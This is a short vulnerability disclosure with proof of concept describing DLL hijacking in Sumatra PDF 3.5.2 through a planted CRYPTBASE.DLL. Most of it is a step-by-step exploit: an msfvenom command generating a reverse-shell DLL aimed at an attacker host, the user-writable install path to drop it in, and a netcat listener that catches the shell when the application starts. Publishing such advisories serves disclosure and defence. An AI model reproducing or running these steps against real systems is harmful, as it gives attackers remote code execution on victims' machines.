Description:
In Sumatra PDF version 3.5.2, a DLL hijacking vulnerability is possible allowing a local attacker to get a shell and execute code on the host system in context of the currently logged-on user. This is possible by creating / placing a malicious DLL in the installation directory. The affected DLL is CRYPTBASE.DLL.
Proof of Concept:
1. Use MSFVenom to create a malicious DLL:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=7777 -f dll -o CRYPTBASE.DLL
2. Copy this file to the Sumatra PDF installation folder:
C:\Users\<username>\AppData\Local\SumatraPDF\
3. Start a listener in attacking system:
nc -nlvp 7777
4. Start the Sumatra PDF application and notice a reverse shell in the attacking system.
